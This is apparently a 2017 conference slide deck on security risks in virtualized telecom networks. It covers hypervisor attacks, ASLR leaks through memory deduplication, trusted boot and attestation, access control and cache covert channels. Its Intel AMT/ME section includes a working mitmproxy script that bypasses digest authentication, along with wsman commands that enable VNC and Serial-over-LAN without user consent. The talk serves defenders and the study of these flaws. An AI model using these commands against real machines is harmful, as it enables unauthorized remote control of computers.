Security in Virtualized Telecom Networks

November 2017

Michael Lazar – DataArt Solutions, Inc.Michael.Lazar@dataart.com

Virtualization and Security

“Everything is going to be unimaginably worse and is never going to get any better.”

― Kurt Vonnegut Jr.

The Network Function Virtualization (NFV) ”Promise”

Service Providers want to make their networks agile and efficient to meet the challenges of exponential bandwidth demands and be able to create revenue streams with innovative services and new business models.

Network Function Virtualization (NFV) and Software Defined Networking (SDN) has emerged as the paradigm that has the potential to transform these the industry by delivering cloud style agility and innovation and enhancing economic viability.

By 2020 SNS Research estimates that SDN and NFV can enable service providers (both wirelineand wireless) to save up to $32 Billion in annual CapEx investments

ACG Research estimates that NFV will reduce capital expenditure by 68% and reduce operating expenditure by 67%

Virtualization and Security

• Security is and always will be a cat-and-mouse game

• Tradeoffs between performance and security may need to made but the impact should be understood

• Low level security provides a foundation to build on

• Some remediation techniques can add significant management burdens

• Virtualization brings unique security issues that may not be apparent until everything is put together (fully functional system)

• SECURITY IS EQUAL PARTS PROCESS, PEOPLE AND TECHNOLOGY – Technology alone is never the answer

Image – Eric Isselée

Critical infrastructure is different

A nuclear power plant in Ohio (USA) a safety monitoring system offline for nearly five hours.

Stuxnet.

Power plant control systems in Ukraine - cut power to more than 80,000 people.

Illinois (USA) water utility breach that resulted in attackers burning out a pump.

Dallas (USA) - A hack of its emergency warning system resulting in a multi-day system shutdown.

US Department of Homeland Security (DHS) vulnerability assessments show an average of 11 direct connections between the control network and the enterprise network.

US agencies are tracking over 300 successful SCADA hacks so far this year (2017)

Boeing 757 Testing Shows Airplanes Vulnerable to Hacking (DHS – November 8, 2017)

Simplified Telco Architecture – Reference

Virtualization –A Change from Discrete components to shared resources

Classical Network Appliance Approach

• Fragmented non-commodity hardware.• Physical installer per appliance per site.• Hardware development large barrier to entry for new

vendors, constraining innovation & competition.

Network Virtualization Approach

• Commercial off the shelf hardware (COTS)• Open / Standardized APIs (Communication)• Open Source being investigated as a viable alternative• Traditional OEM and WhiteBox manufactures

Challenges in adopting Virtualization

Security models in a virtualized environment are different from legacy environments. • In non-virtualized implementations, the existing execution

model between hardware and software made sense. • With virtualization, this may not be the case. Previously

physically isolated functions may now co-exist on an underlying hypervisor (or cluster of hypervisors).

• In the event of a successful virtual machine attack, there is a real possibility that the hypervisor itself may be compromised thereby putting virtual functions that reside on a single or clustered hypervisors.

• Furthermore, pushing ‘functions to the edge’ with virtualization also brings new security challenges, remote sites can now run VNFs that present an attack vector into the core of the network, e.g. vEPC components at remote locations are now a potential attack vector.

• There is also a difficult balance between performance and security to be maintained. Some packet acceleration technologies require removal of some defenses, e.g. confinement (SELinux, AppArmon, etc.) which can lower the barrier to particular types of VNF (VM) or hypervisor attacks

Virtualization – Memory address-space randomization

Systems rely on address-space layout randomization (ASLR) and data execution prevention (DEP) to protect software against memory corruption vulnerabilities. The security of ASLR depends on randomizing regions in memory

Memory deduplication is a common feature of virtual machine monitors (vmms) that reduces the memory footprint and increases the cost-effectiveness of virtual machines (vms) running on the same host

ASLR has been demonstrated to be broken in virtual (cloud) systems (CAIN). This is an architectural issue and is not easily fixed.

Timekeeping

Why is timekeeping important ?Authentication

Billing

Logging of events / order of events / root cause analysis

Transactional coherence

Legal and Regulatory Requirements

Virtualization - Timekeeping Methods

•Coordination is required between host and guests

•Operating Systems (Hypervisor choice matters)

•Disk I/O can have an unexpected impact on timing accuracy (blocking IO)

•Over subscription (over allocating memory or CPUs can have an impact)

As an example: Location Services100 nano seconds (ns) accuracy implies an area of 1365 M^2

Virtualization – the ‘root’ of the issue

The (vast) majority of todays commercial physical compute resources and operating systems fundamentally work off of a implicit trust model. To be more explicit, there is trust between the hardware subsystems and kernel operations. Even when zero trust models are implemented in user space, todays kernels (and kernel variants) rely on implicit trust to function.

Virtualization attack vectors have become more sophisticated focusing on virtual machine attacks (break out), hypervisor attacks (blue pill), side channel and compromised hardware (malicious hardware). These are not hypothetical attacks

Over the last years several hardware and software technologies have been made available, including VT-d, Authenticated boot, Trusted Platform Modules (TPM), Trusted boot (tboot), SELinux, sVirt, AppArmor, OAT SDK (remote attestation toolkit) and Trusted Execution Technology (TXT) to make platforms more secure.

Additional technologies are available or emerging including TrustZone (ARM/AMD) and Software Guard Extensions (Intel SGX).

Chain of Trust – Attestation is designed to produce a secure root of trust

• Consider that entity A launches entity B, then B launches C.

• A measures B then passes control to B

• B measures C and passes control to C

• The question now becomes "who measures A?”

The Core Root of Trust for Measurement (CRTM) is the BIOS boot block code. This piece of code is considered trustworthy. It reliably measures integrity value of other

Attestation is the means by which a trusted computer assures a remote computer of its trustworthy status.

Creating a measured Environment

TPM/TXT Sample Measurement

Gaps in Trusted Pool Model

Trusted compute pools

Moving towards a better Trust / attestation model

Intel CIT Attestation capabilities

Power On

Static / Dynamic Measurement

Physical System Verified

Trusted Boot Loader (e.g. tboot)

Kernel Loading

Hypervisor Enablement

Data Partitions

Monitoring

Verify Workload Integrity

TEE

Clear TPM PCR

Confinement Technologies (e.g. SELinux)

Confinement Technologies (e.g. sVirt)

Measurement Attestation

Example of Simplified Boot Scheme diagramGetting to a trusted Execution Environment (TEE)

Software Confinement (SELinux / Apparmor)

A system for Mandatory Access Control (MAC) based on the Linux Security Modules (LSM) framework

Uses features of role-based

and domain-type access control

Tracks user identity through all operations

At the kernel level - Prevents applications from accessing memory or resources they are not permitted to,

Enhanced Packet ProcessingHPE Test Results – Bare Metal / SR-IOV / DPDK OVS

Average Internet traffic is 50%-60% 64byte packets. This would increase more if the VNFs in question happen to be handling real-time voice and video traffic… like a Session Border Controller, for example.

All tests Bare Metal SR-IOV Accelerated OVSFrame Size (Bytes) Throughput (GBPS) Throughput (GBPS) Throughput (GBPS)

64 20 15.55 11.78128 20 19.47 19.93256 20 19.71 19.93512 20 19.85 19.93

1024 20 19.84 19.931280 20 19.81 19.931518 19.97 19.97 19.97

Performance may comes at a the cost of security – ensure that your choices do not require “confinement” to be disabled

“Traditional” Role Based Access Control (RBAC)

Traditional Multi-Organizational Access Method

Access Control

Attribute-based access control (ABAC) defines an access control paradigm whereby access rights are granted to users through the use of policies which combine attributes together. The policies can use any type of attributes (user attributes, resource attributes, object, environment attributes etc.). This model supports Boolean logic, in which rules contain "IF, THEN" statements about who is making the request, the resource, and the action. For example: IF the requestor is a manager, THEN allow read/write access to sensitive data.

Access Control

Unlike role-based access control (RBAC), which employs pre-defined roles that carry a specific set of privileges associated with them and to which subjects are assigned, the key difference with ABAC is the concept of policies that express a complex Boolean rule set that can evaluate many different attributes. Attribute values can be set-valued or atomic-valued. Set-valued attributes contain more than one atomic value. Examples are role and project. Atomic-valued attributes contain only one atomic value. Examples are clearance and sensitivity. Attributes can be compared to static values or to one another, thus enabling relation-based access control.

Attribute-based access control (ABAC)

Basic ABAC Scenarios

Vulnerabilities Explanation

Why is Attestation so important?

There is a computer “underneath” your computer. For Intel it is known as the Intel Management Engine (ME)

The ME has complete access to all of a computer’s memory, its network connections, and every peripheral connected to a computer.

It runs when the computer is hibernating or “powered off”. It can intercept TCP/IP traffic and access any open file.

If you own the ME and you own the computer.

Scan

Determine vulnerable machines with enabled digest authentication

Login

Bypass Authorization header and gain access to AMT Dashboard and API

Escalate

Inject malicious user or change admin credentials

Expose

Enable VNC and SOL

Control

Full access to remote machines

Intel AMT / ME Vulnerabilities

Intel AMT / ME Vulnerabilities

Enabling SOL

# apt-get install wsmancli

# wsman put http://intel.com/wbem/wscim/1/amt-

schema/1/AMT_RedirectionService -h ${IP} -P

16992 -u admin -p IDontKnowThePassworD -k

ListenerEnabled=true --proxy $PROXY

MITM Proxy script (cve.py)

from mitmproxy import http, ctx

import re

def request(flow: http.HTTPFlow) -> None:

if 'authorization' in flow.request.headers:

header = flow.request.headers['authorization']

header = re.sub(r'response="[^"]+"', 'response=""', header)

ctx.log.info('modified {}'.format(header))

flow.request.headers['authorization'] = header

ENABLING VNC

$ sudo apt-get install wsmancli

$ export http_proxy=127.0.0.1:8080

$ IP=172.16.0.1

$ VNC_PASSWORD="PaS5w-rd"

$ IPS_KVMRedirectionSettingData="http://intel.com/wbem/wscim/1/ips-

schema/1/IPS_KVMRedirectionSettingData"

$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k

RFBPassword=$VNC_PASSWORD

$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k Is5900PortEnabled=true

$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k SessionTimeout=0

$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k OptInPolicy=false

$ wsman invoke -a RequestStateChange \

http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_KVMRedirectionSAP \

-h $IP -P 16992 -u admin -p x -k RequestedState=2

Shared memory – a hypervisors view of guests

VM’s host memory usage <= VM’s guest memory size + VM’s overhead memory

When shared memory is allowed to be used (cloud / NFV), it becomes possible to ”break” ASLR in other VMs by intentionally looking for shared memory in your own VM. This does not require any type of privilege escalation or exploit of a “bug”.

Attacker VM: T Attacker VM: T + t

0x7f9ffa700000x7f9ffa800000x7f9ffa900000x7f9ffaa00000x7f9ffab0000

0x7f9ffa700000x7f9ffa800000x7f9ffa900000x7f9ffaa00000x7f9ffab0000

sleep (t)

Clock cycles:

363229266734

Attacker VM: T + t Clock cycles:

[random][random]

0x7f9ffaa0000[random][random]

28322428223134281245565114213

0x7f9ffa90000[random]

[random]0x7f9ffab0000

[random]

Move over buffer and touch paged

Write time affected by noise

Attacker VM memory performs filtering

Attacker VM memory during verification

Shared Memory starts to introduce new issues

Covert Messages – Transparent to hypervisor

VM1

Process 1 Process N Sender Process

Covert Channel

VM2

ReceiverProcess Process 1 Process N

Covert Channel

Hypervisor

Last Level Cache (LLC)

Prime + Probe Prime + Probe

What can be done?

European Telecommunications Standards Institute (ETSI) - an independent, non-profit organization, whose mission is to produce telecommunications standards for today and for the future.

ETSI GS NFV-SEC 012

Network Functions Virtualization (NFV) Security

System architecture specification for execution of sensitive NFV components

http://www.etsi.org/deliver/etsi_gs/NFV-SEC/001_099/012/03.01.01_60/gs_NFV-SEC012v030101p.pdf

References

• IBM Trusted Computing for Linux http://www.research.ibm.com/gsal/tcpa/TCFL-TPM_intro.pdf

• Intel TXT overviewhttp://www.intel.com/content/dam/www/public/us/en/documents/white-papers/trusted-execution-technology-security-paper.pdf

• Attacking TXT via SNIT - (exploits are old but the detailed explanation is valuable)http://invisiblethingslab.com/resources/2011/Attacking_Intel_TXT_via_SINIT_hijacking.pdf

• Security Enhanced Linux (NSA)https://www.nsa.gov/research/selinux/

• sVirt – SELinux mandatory access controls with the virtualization componentshttp://namei.org/presentations/svirt-lca-2009.pdf

• Hardening the virtualization layerhttp://docs.openstack.org/security-guide/compute/hardening-the-virtualization-layers.html

• Building the infrastructure for Cloud Security (entire book is open access)http://link.springer.com/book/10.1007/978-1-4302-6146-9

• Open Attestation Toolkit (SDK) (Used in Trusted Compute Pools / Remote Attestation)https://01.org/openattestation

• Intel Software Guard Extensionshttp://www.pdl.cmu.edu/SDI/2013/slides/rozas-SGX.pdf

• ARM TrustZone (have partnership with AMD)http://www.arm.com/products/processors/technologies/trustzone/index.php

References

• Clémentine Maurice, Manuel Weber, Michael Schwarz, Lukas Giner, Daniel Gruss, Carlo Alberto Boano, Stefan Mangard, Kay Römer, “Hello from the Other Side: SSH over Robust Cache Covert Channels in the Cloud”. https://www.blackhat.com/docs/asia-17/materials/asia-17-Schwarz-Hello-From-The-Other-Side-SSH-Over-Robust-Cache-Covert-Channels-In-The-Cloud.pdf

• F. Liu, Y. Yarom, Q. Ge, G. Heiser, and R. B. Lee, “Last-Level Cache Side-Channel Attacks are Practical”.

• D. A. Osvik, A. Shamir, and E. Tromer, “Cache attacks and countermeasures: the case of AES”.

• A Barres, K Razavi , M Payer, T Gross, “CAIN: Silently Breaking ASLR in the Cloud” https://www.usenix.org/system/files/conference/woot15/woot15-paper-barresi.pdf

• I Skochinsky, “Hidden code in your chipset and how to discover what exactly it does” https://recon.cx/2014/slides/Recon%202014%20Skochinsky.pdf

• Intel-SA-00075 https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr